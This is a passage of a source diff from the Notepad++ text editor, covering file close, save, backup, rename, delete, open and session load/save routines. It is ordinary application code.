_pEditView->getCurrentBufferID(); + Buffer * buf = MainFileManager->getBufferByID(bufferID); + + int res; + + //process the fileNamePath into LRF + const TCHAR *fileNamePath = buf->getFullPathName(); + + if (buf->isUntitled() && buf->docLength() == 0) + { + // Do nothing + } + else if (buf->isDirty()) + { + + res = doSaveOrNot(fileNamePath); + if (res == IDYES) + { + if (!fileSave(id)) // the cancel button of savedialog is pressed, aborts closing + return false; + } + else if (res == IDCANCEL) + { + return false; //cancel aborts closing + } + else + { + // else IDNO we continue + } + } + + int viewToClose = currentView(); + if (curView != -1) + viewToClose = curView; + + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + doClose(bufferID, viewToClose, isSnapshotMode); + return true; +} + +bool Notepad_plus::fileCloseAll(bool doDeleteBackup, bool isSnapshotMode) +{ + //closes all documents, makes the current view the only one visible + + //first check if we need to save any file + for (size_t i = 0; i < _mainDocTab.nbItem(); ++i) + { + BufferID id = _mainDocTab.getBufferByIndex(i); + Buffer * buf = MainFileManager->getBufferByID(id); + if (buf->isUntitled() && buf->docLength() == 0) + { + // Do nothing + } + else if (buf->isDirty()) + { + if (isSnapshotMode) + { + if (buf->getBackupFileName() == TEXT("") || !::PathFileExists(buf->getBackupFileName().c_str())) //backup file has been deleted from outside + { + // warning user and save it if user want it. + activateBuffer(id, MAIN_VIEW); + if(!activateBuffer(id, SUB_VIEW)) + switchEditViewTo(MAIN_VIEW); + + TCHAR pattern[140] = TEXT("Your backup file cannot be found (deleted from outside).\rSave it otherwise your data will be lost\rDo you want to save file \"%s\" ?"); + TCHAR phrase[512]; + wsprintf(phrase, pattern, buf->getFullPathName()); + int res = doActionOrNot(TEXT("Save"), phrase, MB_YESNOCANCEL | MB_ICONQUESTION | MB_APPLMODAL); + //int res = doSaveOrNot(buf->getFullPathName()); + if (res == IDYES) + { + if (!fileSave(id)) + return false; //abort entire procedure + } + else if (res == IDCANCEL) + { + return false; + } + } + } + else + { + activateBuffer(id, MAIN_VIEW); + if(!activateBuffer(id, SUB_VIEW)) + switchEditViewTo(MAIN_VIEW); + + int res = doSaveOrNot(buf->getFullPathName()); + if (res == IDYES) + { + if (!fileSave(id)) + return false; //abort entire procedure + } + else if (res == IDCANCEL) + { + return false; + } + } + } + } + for (size_t i = 0; i < _subDocTab.nbItem(); ++i) + { + BufferID id = _subDocTab.getBufferByIndex(i); + Buffer * buf = MainFileManager->getBufferByID(id); + if (buf->isUntitled() && buf->docLength() == 0) + { + // Do nothing + } + else if (buf->isDirty()) + { + if (isSnapshotMode) + { + if (buf->getBackupFileName() == TEXT("") || !::PathFileExists(buf->getBackupFileName().c_str())) //backup file has been deleted from outside + { + // warning user and save it if user want it. + activateBuffer(id, SUB_VIEW); + switchEditViewTo(SUB_VIEW); + + TCHAR pattern[140] = TEXT("Your backup file cannot be found (deleted from outside).\rSave it otherwise your data will be lost\rDo you want to save file \"%s\" ?"); + TCHAR phrase[512]; + wsprintf(phrase, pattern, buf->getFullPathName()); + int res = doActionOrNot(TEXT("Save"), phrase, MB_YESNOCANCEL | MB_ICONQUESTION | MB_APPLMODAL); + //int res = doSaveOrNot(buf->getFullPathName()); + if (res == IDYES) + { + if (!fileSave(id)) + return false; //abort entire procedure + } + else if (res == IDCANCEL) + { + return false; + } + } + } + else + { + activateBuffer(id, SUB_VIEW); + switchEditViewTo(SUB_VIEW); + + int res = doSaveOrNot(buf->getFullPathName()); + if (res == IDYES) + { + if (!fileSave(id)) + return false; //abort entire procedure + } + else if (res == IDCANCEL) + { + return false; + //otherwise continue (IDNO) + } + } + } + } + + //Then start closing, inactive view first so the active is left open + if (bothActive()) + { + //first close all docs in non-current view, which gets closed automatically + //Set active tab to the last one closed. + activateBuffer(_pNonDocTab->getBufferByIndex(0), otherView()); + for (int32_t i = static_cast(_pNonDocTab->nbItem()) - 1; i >= 0; i--) //close all from right to left + { + doClose(_pNonDocTab->getBufferByIndex(i), otherView(), doDeleteBackup); + } + } + + activateBuffer(_pDocTab->getBufferByIndex(0), currentView()); + for (int32_t i = static_cast(_pDocTab->nbItem()) - 1; i >= 0; i--) + { //close all from right to left + doClose(_pDocTab->getBufferByIndex(i), currentView(), doDeleteBackup); + } + return true; +} + +bool Notepad_plus::fileCloseAllGiven(const std::vector &krvecBufferIndexes) +{ + // First check if we need to save any file. + + std::vector::const_iterator itIndexesEnd = krvecBufferIndexes.end(); + + for(std::vector::const_iterator itIndex = krvecBufferIndexes.begin(); itIndex != itIndexesEnd; ++itIndex) { + BufferID id = _pDocTab->getBufferByIndex(*itIndex); + Buffer * buf = MainFileManager->getBufferByID(id); + if (buf->isUntitled() && buf->docLength() == 0) + { + // Do nothing. + } + else if (buf->isDirty()) + { + if(_activeView == MAIN_VIEW) + { + activateBuffer(id, MAIN_VIEW); + if(!activateBuffer(id, SUB_VIEW)) + switchEditViewTo(MAIN_VIEW); + } + else + { + activateBuffer(id, SUB_VIEW); + switchEditViewTo(SUB_VIEW); + } + + int res = doSaveOrNot(buf->getFullPathName()); + if (res == IDYES) + { + if (!fileSave(id)) + return false; // Abort entire procedure. + } + else if (res == IDCANCEL) + { + return false; + } + } + } + + // Now we close. + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + for(std::vector::const_iterator itIndex = krvecBufferIndexes.begin(); itIndex != itIndexesEnd; ++itIndex) { + doClose(_pDocTab->getBufferByIndex(*itIndex), currentView(), isSnapshotMode); + } + + return true; +} + +bool Notepad_plus::fileCloseAllToLeft() +{ + // Indexes must go from high to low to deal with the fact that when one index is closed, any remaining + // indexes (smaller than the one just closed) will point to the wrong tab. + std::vector vecIndexesToClose; + for(int i = _pDocTab->getCurrentTabIndex() - 1; i >= 0; i--) { + vecIndexesToClose.push_back(i); + } + return fileCloseAllGiven(vecIndexesToClose); +} + +bool Notepad_plus::fileCloseAllToRight() +{ + // Indexes must go from high to low to deal with the fact that when one index is closed, any remaining + // indexes (smaller than the one just closed) will point to the wrong tab. + const int kiActive = _pDocTab->getCurrentTabIndex(); + std::vector vecIndexesToClose; + for(int i = int(_pDocTab->nbItem()) - 1; i > kiActive; i--) { + vecIndexesToClose.push_back(i); + } + return fileCloseAllGiven(vecIndexesToClose); +} + +bool Notepad_plus::fileCloseAllButCurrent() +{ + BufferID current = _pEditView->getCurrentBufferID(); + int active = _pDocTab->getCurrentTabIndex(); + //closes all documents, makes the current view the only one visible + + //first check if we need to save any file + for (size_t i = 0; i < _mainDocTab.nbItem(); ++i) + { + BufferID id = _mainDocTab.getBufferByIndex(i); + if (id == current) + continue; + Buffer * buf = MainFileManager->getBufferByID(id); + if (buf->isUntitled() && buf->docLength() == 0) + { + // Do nothing + } + else if (buf->isDirty()) + { + activateBuffer(id, MAIN_VIEW); + if(!activateBuffer(id, SUB_VIEW)) + switchEditViewTo(MAIN_VIEW); + + int res = doSaveOrNot(buf->getFullPathName()); + if (res == IDYES) + { + if (!fileSave(id)) + return false; //abort entire procedure + } + else if (res == IDCANCEL) + { + return false; + } + } + } + for (size_t i = 0; i < _subDocTab.nbItem(); ++i) + { + BufferID id = _subDocTab.getBufferByIndex(i); + Buffer * buf = MainFileManager->getBufferByID(id); + if (id == current) + continue; + if (buf->isUntitled() && buf->docLength() == 0) + { + // Do nothing + } + else if (buf->isDirty()) + { + activateBuffer(id, SUB_VIEW); + switchEditViewTo(SUB_VIEW); + + int res = doSaveOrNot(buf->getFullPathName()); + if (res == IDYES) + { + if (!fileSave(id)) + return false; //abort entire procedure + } + else if (res == IDCANCEL) + { + return false; + } + } + } + + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + //Then start closing, inactive view first so the active is left open + if (bothActive()) + { + //first close all docs in non-current view, which gets closed automatically + //Set active tab to the last one closed. + activateBuffer(_pNonDocTab->getBufferByIndex(0), otherView()); + + for (int32_t i = static_cast(_pNonDocTab->nbItem()) - 1; i >= 0; i--) //close all from right to left + { + doClose(_pNonDocTab->getBufferByIndex(i), otherView(), isSnapshotMode); + } + } + + activateBuffer(_pDocTab->getBufferByIndex(0), currentView()); + for (int32_t i = static_cast(_pDocTab->nbItem()) - 1; i >= 0; i--) //close all from right to left + { + if (i == active) //dont close active index + { + continue; + } + doClose(_pDocTab->getBufferByIndex(i), currentView(), isSnapshotMode); + } + return true; +} + +bool Notepad_plus::fileSave(BufferID id) +{ + BufferID bufferID = id; + if (id == BUFFER_INVALID) + bufferID = _pEditView->getCurrentBufferID(); + Buffer * buf = MainFileManager->getBufferByID(bufferID); + + if (!buf->getFileReadOnly() && buf->isDirty()) //cannot save if readonly + { + if (buf->isUntitled()) + { + return fileSaveAs(bufferID); + } + + const NppGUI & nppgui = (NppParameters::getInstance())->getNppGUI(); + BackupFeature backup = nppgui._backup; + + if (backup != bak_none) + { + const TCHAR *fn = buf->getFullPathName(); + TCHAR *name = ::PathFindFileName(fn); + generic_string fn_bak; + + if (nppgui._useDir && not nppgui._backupDir.empty()) + { + // Get the custom directory, make sure it has a trailing slash + fn_bak = nppgui._backupDir; + if (fn_bak.back() != TEXT('\\')) + fn_bak += TEXT("\\"); + } + else + { + // Get the current file's directory + generic_string path = fn; + ::PathRemoveFileSpec(path); + fn_bak = path.c_str(); + fn_bak += TEXT("\\"); + + // If verbose, save it in a sub folder + if (backup == bak_verbose) + { + fn_bak += TEXT("nppBackup\\"); + } + } + + // Expand any environment variables + TCHAR fn_bak_expanded[MAX_PATH] = { '\0' }; + ::ExpandEnvironmentStrings(fn_bak.c_str(), fn_bak_expanded, MAX_PATH); + fn_bak = fn_bak_expanded; + + // Make sure the directory exists + if (!::PathFileExists(fn_bak.c_str())) + { + SHCreateDirectory(NULL, fn_bak.c_str()); + } + + // Determine what to name the backed-up file + if (backup == bak_simple) + { + fn_bak += name; + fn_bak += TEXT(".bak"); + } + else if (backup == bak_verbose) + { + const int temBufLen = 32; + TCHAR tmpbuf[temBufLen]; + time_t ltime = time(0); + struct tm *today; + + today = localtime(<ime); + generic_strftime(tmpbuf, temBufLen, TEXT("%Y-%m-%d_%H%M%S"), today); + + fn_bak += name; + fn_bak += TEXT("."); + fn_bak += tmpbuf; + fn_bak += TEXT(".bak"); + } + + if (not ::CopyFile(fn, fn_bak.c_str(), FALSE)) + { + generic_string msg = TEXT("The previous version of the file could not be saved into the backup directory at "); + msg += TEXT("\""); + msg += fn_bak; + msg += TEXT("\".\r\rDo you want to save the current file anyways?"); + if (::MessageBox(_pPublicInterface->getHSelf(), msg.c_str(), TEXT("File Backup Failed"), MB_YESNO | MB_ICONERROR) == IDNO) + { + return false; + } + } + } + + return doSave(bufferID, buf->getFullPathName(), false); + } + return false; +} + +bool Notepad_plus::fileSaveSpecific(const generic_string& fileNameToSave) +{ + BufferID idToSave = _mainDocTab.findBufferByName(fileNameToSave.c_str()); + if (idToSave == BUFFER_INVALID) + { + idToSave = _subDocTab.findBufferByName(fileNameToSave.c_str()); + } + //do not use else syntax, id might be taken from sub doc tab, + //in which case fileSave needs to be executed also + if (idToSave != BUFFER_INVALID) + { + fileSave(idToSave); + checkDocState(); + return true; + } + else + { + return false; + } +} + +bool Notepad_plus::fileSaveAll() +{ + if (viewVisible(MAIN_VIEW)) + { + for(size_t i = 0; i < _mainDocTab.nbItem(); ++i) + { + BufferID idToSave = _mainDocTab.getBufferByIndex(i); + fileSave(idToSave); + } + } + + if (viewVisible(SUB_VIEW)) + { + for(size_t i = 0; i < _subDocTab.nbItem(); ++i) + { + BufferID idToSave = _subDocTab.getBufferByIndex(i); + fileSave(idToSave); + } + } + checkDocState(); + return true; +} + +bool Notepad_plus::fileSaveAs(BufferID id, bool isSaveCopy) +{ + BufferID bufferID = id; + if (id == BUFFER_INVALID) + bufferID = _pEditView->getCurrentBufferID(); + Buffer * buf = MainFileManager->getBufferByID(bufferID); + + FileDialog fDlg(_pPublicInterface->getHSelf(), _pPublicInterface->getHinst()); + + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); + int langTypeIndex = setFileOpenSaveDlgFilters(fDlg, buf->getLangType()); + fDlg.setDefFileName(buf->getFileName()); + + fDlg.setExtIndex(langTypeIndex+1); // +1 for "All types" + + // Disable file autodetection before opening save dialog to prevent use-after-delete bug. + NppParameters *pNppParam = NppParameters::getInstance(); + ChangeDetect cdBefore = (const_cast(pNppParam->getNppGUI()))._fileAutoDetection; + (const_cast(pNppParam->getNppGUI()))._fileAutoDetection = cdDisabled; + + TCHAR *pfn = fDlg.doSaveDlg(); + + // Enable file autodetection again. + (const_cast(pNppParam->getNppGUI()))._fileAutoDetection = cdBefore; + + if (pfn) + { + BufferID other = _pDocTab->findBufferByName(pfn); + if (other == BUFFER_INVALID) + other = _pNonDocTab->findBufferByName(pfn); + + if (other == BUFFER_INVALID) //can save, as both (same and other) view don't contain buffer + { + bool res = doSave(bufferID, pfn, isSaveCopy); + //buf->setNeedsLexing(true); //commented to fix wrapping being removed after save as (due to SCI_CLEARSTYLE or something, seems to be Scintilla bug) + //Changing lexer after save seems to work properly + return res; + } + else //cannot save, other view has buffer already open, activate it + { + _nativeLangSpeaker.messageBox("FileAlreadyOpenedInNpp", + _pPublicInterface->getHSelf(), + TEXT("The file is already opened in the Notepad++."), + TEXT("ERROR"), + MB_OK | MB_ICONSTOP); + switchToFile(other); + return false; + } + } + else // cancel button is pressed + { + checkModifiedDocument(); + return false; + } +} + +bool Notepad_plus::fileRename(BufferID id) +{ + BufferID bufferID = id; + if (id == BUFFER_INVALID) + bufferID = _pEditView->getCurrentBufferID(); + Buffer * buf = MainFileManager->getBufferByID(bufferID); + + SCNotification scnN; + scnN.nmhdr.code = NPPN_FILEBEFORERENAME; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = (uptr_t)bufferID; + _pluginsManager.notify(&scnN); + + FileDialog fDlg(_pPublicInterface->getHSelf(), _pPublicInterface->getHinst()); + + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); + setFileOpenSaveDlgFilters(fDlg); + + fDlg.setDefFileName(buf->getFileName()); + TCHAR *pfn = fDlg.doSaveDlg(); + + bool success = false; + if (pfn) + success = MainFileManager->moveFile(bufferID, pfn); + + scnN.nmhdr.code = success ? NPPN_FILERENAMED : NPPN_FILERENAMECANCEL; + _pluginsManager.notify(&scnN); + + return success; +} + + +bool Notepad_plus::fileDelete(BufferID id) +{ + BufferID bufferID = id; + if (id == BUFFER_INVALID) + bufferID = _pEditView->getCurrentBufferID(); + + Buffer * buf = MainFileManager->getBufferByID(bufferID); + const TCHAR *fileNamePath = buf->getFullPathName(); + + winVer winVersion = (NppParameters::getInstance())->getWinVersion(); + bool goAhead = true; + if (winVersion >= WV_WIN8 || winVersion == WV_UNKNOWN) + { + // Windows 8 (and version afer?) has no system alert, so we ask user's confirmation + goAhead = (doDeleteOrNot(fileNamePath) == IDYES); + } + + if (goAhead) + { + SCNotification scnN; + scnN.nmhdr.code = NPPN_FILEBEFOREDELETE; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = (uptr_t)bufferID; + _pluginsManager.notify(&scnN); + + if (!MainFileManager->deleteFile(bufferID)) + { + _nativeLangSpeaker.messageBox("DeleteFileFailed", + _pPublicInterface->getHSelf(), + TEXT("Delete File failed"), + TEXT("Delete File"), + MB_OK); + + scnN.nmhdr.code = NPPN_FILEDELETEFAILED; + _pluginsManager.notify(&scnN); + + return false; + } + bool isSnapshotMode = NppParameters::getInstance()->getNppGUI().isSnapshotMode(); + doClose(bufferID, MAIN_VIEW, isSnapshotMode); + doClose(bufferID, SUB_VIEW, isSnapshotMode); + + scnN.nmhdr.code = NPPN_FILEDELETED; + scnN.nmhdr.idFrom = (uptr_t)-1; + _pluginsManager.notify(&scnN); + + return true; + } + return false; +} + +void Notepad_plus::fileOpen() +{ + FileDialog fDlg(_pPublicInterface->getHSelf(), _pPublicInterface->getHinst()); + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); + + setFileOpenSaveDlgFilters(fDlg); + + BufferID lastOpened = BUFFER_INVALID; + if (stringVector *pfns = fDlg.doOpenMultiFilesDlg()) + { + size_t sz = pfns->size(); + for (size_t i = 0 ; i < sz ; ++i) { + BufferID test = doOpen(pfns->at(i).c_str(), fDlg.isReadOnly()); + if (test != BUFFER_INVALID) + lastOpened = test; + } + } + if (lastOpened != BUFFER_INVALID) { + switchToFile(lastOpened); + } +} + + +void Notepad_plus::fileNew() +{ + BufferID newBufID = MainFileManager->newEmptyDocument(); + + loadBufferIntoView(newBufID, currentView(), true); //true, because we want multiple new files if possible + activateBuffer(newBufID, currentView()); +} + + +bool Notepad_plus::fileReload() +{ + assert(_pEditView != nullptr); + BufferID buf = _pEditView->getCurrentBufferID(); + return doReload(buf, buf->isDirty()); +} + + +bool Notepad_plus::isFileSession(const TCHAR * filename) { + // if file2open matches the ext of user defined session file ext, then it'll be opened as a session + const TCHAR *definedSessionExt = NppParameters::getInstance()->getNppGUI()._definedSessionExt.c_str(); + if (*definedSessionExt != '\0') + { + generic_string fncp = filename; + TCHAR *pExt = PathFindExtension(fncp.c_str()); + + generic_string usrSessionExt = TEXT(""); + if (*definedSessionExt != '.') + { + usrSessionExt += TEXT("."); + } + usrSessionExt += definedSessionExt; + + if (!generic_stricmp(pExt, usrSessionExt.c_str())) + { + return true; + } + } + return false; +} + +bool Notepad_plus::isFileWorkspace(const TCHAR * filename) { + // if filename matches the ext of user defined workspace file ext, then it'll be opened as a workspace + const TCHAR *definedWorkspaceExt = NppParameters::getInstance()->getNppGUI()._definedWorkspaceExt.c_str(); + if (*definedWorkspaceExt != '\0') + { + generic_string fncp = filename; + TCHAR *pExt = PathFindExtension(fncp.c_str()); + + generic_string usrWorkspaceExt = TEXT(""); + if (*definedWorkspaceExt != '.') + { + usrWorkspaceExt += TEXT("."); + } + usrWorkspaceExt += definedWorkspaceExt; + + if (!generic_stricmp(pExt, usrWorkspaceExt.c_str())) + { + return true; + } + } + return false; +} + +void Notepad_plus::loadLastSession() +{ + NppParameters *nppParams = NppParameters::getInstance(); + const NppGUI & nppGui = nppParams->getNppGUI(); + Session lastSession = nppParams->getSession(); + bool isSnapshotMode = nppGui.isSnapshotMode(); + loadSession(lastSession, isSnapshotMode); +} + +bool Notepad_plus::loadSession(Session & session, bool isSnapshotMode) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + bool allSessionFilesLoaded = true; + BufferID lastOpened = BUFFER_INVALID; + //size_t i = 0; + showView(MAIN_VIEW); + switchEditViewTo(MAIN_VIEW); //open files in main + + int mainIndex2Update = -1; + + for (size_t i = 0; i < session.nbMainFiles() ; ) + { + const TCHAR *pFn = session._mainViewFiles[i]._fileName.c_str(); + + if (isFileSession(pFn) || isFileWorkspace(pFn)) + { + vector::iterator posIt = session._mainViewFiles.begin() + i; + session._mainViewFiles.erase(posIt); + continue; //skip session files, not supporting recursive sessions or embedded workspace files + } + + bool isWow64Off = false; + if (!PathFileExists(pFn)) + { + pNppParam->safeWow64EnableWow64FsRedirection(FALSE); + isWow64Off = true; + } + if (PathFileExists(pFn)) + { + if (isSnapshotMode && session._mainViewFiles[i]._backupFilePath != TEXT("")) + lastOpened = doOpen(pFn, false, false, session._mainViewFiles[i]._encoding, session._mainViewFiles[i]._backupFilePath.c_str(), session._mainViewFiles[i]._originalFileLastModifTimestamp); + else + lastOpened = doOpen(pFn, false, false, session._mainViewFiles[i]._encoding); + } + else if (isSnapshotMode && PathFileExists(session._mainViewFiles[i]._backupFilePath.c_str())) + { + lastOpened = doOpen(pFn, false, false, session._mainViewFiles[i]._encoding, session._mainViewFiles[i]._backupFilePath.c_str(), session._mainViewFiles[i]._originalFileLastModifTimestamp); + } + else + { + lastOpened = BUFFER_INVALID; + } + if (isWow64Off) + { + pNppParam->safeWow64EnableWow64FsRedirection(TRUE); + isWow64Off = false; + } + + if (lastOpened != BUFFER_INVALID) + { + showView(MAIN_VIEW); + const TCHAR *pLn = session._mainViewFiles[i]._langName.c_str(); + int id = getLangFromMenuName(pLn); + LangType typeToSet = L_TEXT; + if (id != 0 && id != IDM_LANG_USER) + typeToSet = menuID2LangType(id); + if (typeToSet == L_EXTERNAL ) + typeToSet = (LangType)(id - IDM_LANG_EXTERNAL + L_EXTERNAL); + + Buffer *buf = MainFileManager->getBufferByID(lastOpened); + + if (session._mainViewFiles[i]._foldStates.size() > 0) + { + if (buf == _mainEditView.getCurrentBuffer()) // current document + // Set floding state in the current doccument + mainIndex2Update = static_cast(i); + else + // Set fold states in the buffer + buf->setHeaderLineState(session._mainViewFiles[i]._foldStates, &_mainEditView); + } + + buf->setPosition(session._mainViewFiles[i], &_mainEditView); + buf->setMapPosition(session._mainViewFiles[i]._mapPos); + buf->setLangType(typeToSet, pLn); + if (session._mainViewFiles[i]._encoding != -1) + buf->setEncoding(session._mainViewFiles[i]._encoding); + + if (isSnapshotMode && session._mainViewFiles[i]._backupFilePath != TEXT("") && PathFileExists(session._mainViewFiles[i]._backupFilePath.c_str())) + buf->setDirty(true); + + //Force in the document so we can add the markers + //Don't use default methods because of performance + Document prevDoc = _mainEditView.execute(SCI_GETDOCPOINTER); + _mainEditView.execute(SCI_SETDOCPOINTER, 0, buf->getDocument()); + for (size_t j = 0, len = session._mainViewFiles[i]._marks.size(); j < len ; ++j) + { + _mainEditView.execute(SCI_MARKERADD, session._mainViewFiles[i]._marks[j], MARK_BOOKMARK); + } + _mainEditView.execute(SCI_SETDOCPOINTER, 0, prevDoc); + ++i; + } + else + { + vector::iterator posIt = session._mainViewFiles.begin() + i; + session._mainViewFiles.erase(posIt); + allSessionFilesLoaded = false; + } + } + if (mainIndex2Update != -1) + _mainEditView.syncFoldStateWith(session._mainViewFiles[mainIndex2Update]._foldStates); + + + showView(SUB_VIEW); + switchEditViewTo(SUB_VIEW); //open files in sub + int subIndex2Update = -1; + + for (size_t k = 0 ; k < session.nbSubFiles() ; ) + { + const TCHAR *pFn = session._subViewFiles[k]._fileName.c_str(); + + if (isFileSession(pFn) || isFileWorkspace(pFn)) { + vector::iterator posIt = session._subViewFiles.begin() + k; + session._subViewFiles.erase(posIt); + continue; //skip session files, not supporting recursive sessions or embedded workspace files + } + + bool isWow64Off = false; + if (!PathFileExists(pFn)) + { + pNppParam->safeWow64EnableWow64FsRedirection(FALSE); + isWow64Off = true; + } + if (PathFileExists(pFn)) + { + if (isSnapshotMode && session._subViewFiles[k]._backupFilePath != TEXT("")) + lastOpened = doOpen(pFn, false, false, session._subViewFiles[k]._encoding, session._subViewFiles[k]._backupFilePath.c_str(), session._subViewFiles[k]._originalFileLastModifTimestamp); + else + lastOpened = doOpen(pFn, false, false, session._subViewFiles[k]._encoding); + + //check if already open in main. If so, clone + if (_mainDocTab.getIndexByBuffer(lastOpened) != -1) { + loadBufferIntoView(lastOpened, SUB_VIEW); + } + } + else if (isSnapshotMode && PathFileExists(session._subViewFiles[k]._backupFilePath.c_str())) + { + lastOpened = doOpen(pFn, false, false, session._subViewFiles[k]._encoding, session._subViewFiles[k]._backupFilePath.c_str(), session._subViewFiles[k]._originalFileLastModifTimestamp); + } + else + { + lastOpened = BUFFER_INVALID; + } + if (isWow64Off) + { + pNppParam->safeWow64EnableWow64FsRedirection(TRUE); + isWow64Off = false; + } + + if (lastOpened != BUFFER_INVALID) + { + showView(SUB_VIEW); + if (canHideView(MAIN_VIEW)) + hideView(MAIN_VIEW); + const TCHAR *pLn = session._subViewFiles[k]._langName.c_str(); + int id = getLangFromMenuName(pLn); + LangType typeToSet = L_TEXT; + + if (id != 0) + typeToSet = menuID2LangType(id); + if (typeToSet == L_EXTERNAL ) + typeToSet = (LangType)(id - IDM_LANG_EXTERNAL + L_EXTERNAL); + + Buffer * buf = MainFileManager->getBufferByID(lastOpened); + + // Set fold states + if (session._subViewFiles[k]._foldStates.size() > 0) + { + if (buf == _subEditView.getCurrentBuffer()) // current document + // Set floding state in the current doccument + subIndex2Update = static_cast(k); + else + // Set fold states in the buffer + buf->setHeaderLineState(session._subViewFiles[k]._foldStates, &_subEditView); + } + + buf->setPosition(session._subViewFiles[k], &_subEditView); + buf->setMapPosition(session._subViewFiles[k]._mapPos); + if (typeToSet == L_USER) + { + if (!lstrcmp(pLn, TEXT("User Defined"))) + { + pLn = TEXT(""); //default user defined + } + } + buf->setLangType(typeToSet, pLn); + buf->setEncoding(session._subViewFiles[k]._encoding); + + if (isSnapshotMode && session._subViewFiles[k]._backupFilePath != TEXT("") && PathFileExists(session._subViewFiles[k]._backupFilePath.c_str())) + buf->setDirty(true); + + //Force in the document so we can add the markers + //Don't use default methods because of performance + Document prevDoc = _subEditView.execute(SCI_GETDOCPOINTER); + _subEditView.execute(SCI_SETDOCPOINTER, 0, buf->getDocument()); + for (size_t j = 0, len = session._subViewFiles[k]._marks.size(); j < len ; ++j) + { + _subEditView.execute(SCI_MARKERADD, session._subViewFiles[k]._marks[j], MARK_BOOKMARK); + } + _subEditView.execute(SCI_SETDOCPOINTER, 0, prevDoc); + + ++k; + } + else + { + vector::iterator posIt = session._subViewFiles.begin() + k; + session._subViewFiles.erase(posIt); + allSessionFilesLoaded = false; + } + } + if (subIndex2Update != -1) + _subEditView.syncFoldStateWith(session._subViewFiles[subIndex2Update]._foldStates); + + _mainEditView.restoreCurrentPos(); + _subEditView.restoreCurrentPos(); + + if (session._activeMainIndex < _mainDocTab.nbItem())//session.nbMainFiles()) + activateBuffer(_mainDocTab.getBufferByIndex(session._activeMainIndex), MAIN_VIEW); + + if (session._activeSubIndex < _subDocTab.nbItem())//session.nbSubFiles()) + activateBuffer(_subDocTab.getBufferByIndex(session._activeSubIndex), SUB_VIEW); + + if ((session.nbSubFiles() > 0) && (session._activeView == MAIN_VIEW || session._activeView == SUB_VIEW)) + switchEditViewTo(static_cast(session._activeView)); + else + switchEditViewTo(MAIN_VIEW); + + if (canHideView(otherView())) + hideView(otherView()); + else if (canHideView(currentView())) + hideView(currentView()); + + if (_pFileSwitcherPanel) + _pFileSwitcherPanel->reload(); + + return allSessionFilesLoaded; +} + +bool Notepad_plus::fileLoadSession(const TCHAR *fn) +{ + bool result = false; + const TCHAR *sessionFileName = NULL; + if (fn == NULL) + { + FileDialog fDlg(_pPublicInterface->getHSelf(), _pPublicInterface->getHinst()); + const TCHAR *ext = NppParameters::getInstance()->getNppGUI()._definedSessionExt.c_str(); + generic_string sessionExt = TEXT(""); + if (*ext != '\0') + { + if (*ext != '.') + sessionExt += TEXT("."); + sessionExt += ext; + fDlg.setExtFilter(TEXT("Session file"), sessionExt.c_str(), NULL); + } + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); + sessionFileName = fDlg.doOpenSingleFileDlg(); + } + else + { + if (PathFileExists(fn)) + sessionFileName = fn; + } + + + NppParameters *pNppParam = NppParameters::getInstance(); + const NppGUI & nppGUI = pNppParam->getNppGUI(); + if (sessionFileName) + { + bool isEmptyNpp = false; + if (_mainDocTab.nbItem() == 1 && _subDocTab.nbItem() == 1) + { + Buffer * buf1 = MainFileManager->getBufferByID(_mainDocTab.getBufferByIndex(0)); + Buffer * buf2 = MainFileManager->getBufferByID(_subDocTab.getBufferByIndex(0)); + isEmptyNpp = (!buf1->isDirty() && buf1->isUntitled() && !buf2->isDirty() && buf2->isUntitled()); + } + if (!isEmptyNpp && (nppGUI._multiInstSetting == multiInstOnSession || nppGUI._multiInstSetting == multiInst)) + { + TCHAR nppFullPath[MAX_PATH]; + ::GetModuleFileName(NULL, nppFullPath, MAX_PATH); + + + generic_string args = TEXT("-multiInst -nosession -openSession "); + args += TEXT("\""); + args += sessionFileName; + args += TEXT("\""); + ::ShellExecute(_pPublicInterface->getHSelf(), TEXT("open"), nppFullPath, args.c_str(), TEXT("."), SW_SHOW); + result = true; + } + else + { + bool isAllSuccessful = true; + Session session2Load; + + if ((NppParameters::getInstance())->loadSession(session2Load, sessionFileName)) + { + isAllSuccessful = loadSession(session2Load); + result = true; + } + if (!isAllSuccessful) + (NppParameters::getInstance())->writeSession(session2Load, sessionFileName); + } + if (result == false) + { + _nativeLangSpeaker.messageBox("SessionFileInvalidError", + NULL, + TEXT("Session file is either corrupted or not valid."), + TEXT("Could not Load Session"), + MB_OK); + } + } + return result; +} + +const TCHAR * Notepad_plus::fileSaveSession(size_t nbFile, TCHAR ** fileNames, const TCHAR *sessionFile2save) +{ + if (sessionFile2save) + { + Session currentSession; + if ((nbFile) && (fileNames)) + { + for (size_t i = 0 ; i < nbFile ; ++i) + { + if (PathFileExists(fileNames[i])) + currentSession._mainViewFiles.push_back(generic_string(fileNames[i])); + } + } + else + getCurrentOpenedFiles(currentSession); + + (NppParameters::getInstance())->writeSession(currentSession, sessionFile2save); + return sessionFile2save; + } + return NULL; +} + +const TCHAR * Notepad_plus::fileSaveSession(size_t nbFile, TCHAR ** fileNames) +{ + const TCHAR *sessionFileName = NULL; + + FileDialog fDlg(_pPublicInterface->getHSelf(), _pPublicInterface->getHinst()); + const TCHAR *ext = NppParameters::getInstance()->getNppGUI()._definedSessionExt.c_str(); + + generic_string sessionExt = TEXT(""); + if (*ext != '\0') + { + if (*ext != '.') + sessionExt += TEXT("."); + sessionExt += ext; + fDlg.setExtFilter(TEXT("Session file"), sessionExt.c_str(), NULL); + fDlg.setExtIndex(0); // 0 index for "custom extention types" + } + fDlg.setExtFilter(TEXT("All types"), TEXT(".*"), NULL); + sessionFileName = fDlg.doSaveDlg(); + + return fileSaveSession(nbFile, fileNames, sessionFileName); +} + + +void Notepad_plus::saveSession(const Session & session) +{ + (NppParameters::getInstance())->writeSession(session); +} + + +void Notepad_plus::saveCurrentSession() +{ + ::PostMessage(_pPublicInterface->getHSelf(), NPPM_INTERNAL_SAVECURRENTSESSION, 0, 